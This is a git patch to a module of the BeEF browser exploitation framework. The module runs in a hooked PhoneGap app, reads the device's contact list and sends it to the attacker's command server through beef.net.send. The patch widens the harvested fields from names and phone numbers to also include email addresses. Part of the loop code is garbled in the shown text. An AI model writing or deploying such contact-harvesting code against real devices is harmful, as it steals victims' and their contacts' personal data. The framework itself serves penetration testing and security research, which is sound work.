From 5722cb2bc1d4bb90257b071c727ef4736103e9bc Mon Sep 17 00:00:00 2001 From: Sergey Gorbaty Date: Fri, 3 May 2013 14:24:23 -0700 Subject: [PATCH] Added email to contact list --- .../phonegap/phonegap_list_contacts/command.js | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/modules/phonegap/phonegap_list_contacts/command.js b/modules/phonegap/phonegap_list_contacts/command.js index 533def2e4..6587811af 100644 --- a/modules/phonegap/phonegap_list_contacts/command.js +++ b/modules/phonegap/phonegap_list_contacts/command.js @@ -12,15 +12,19 @@ beef.execute(function() { function onSuccess(contacts) { for (var i=0; i", <%= @command_id %>, 'result='+result ); + } - - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result ); - }; function onError(contactError) { @@ -32,7 +36,7 @@ beef.execute(function() { var options = new ContactFindOptions(); options.filter=""; options.multiple=true; - var fields = ["displayName", "phoneNumbers"]; + var fields = ["displayName", "phoneNumbers", "emails"]; navigator.contacts.find(fields, onSuccess, onError, options);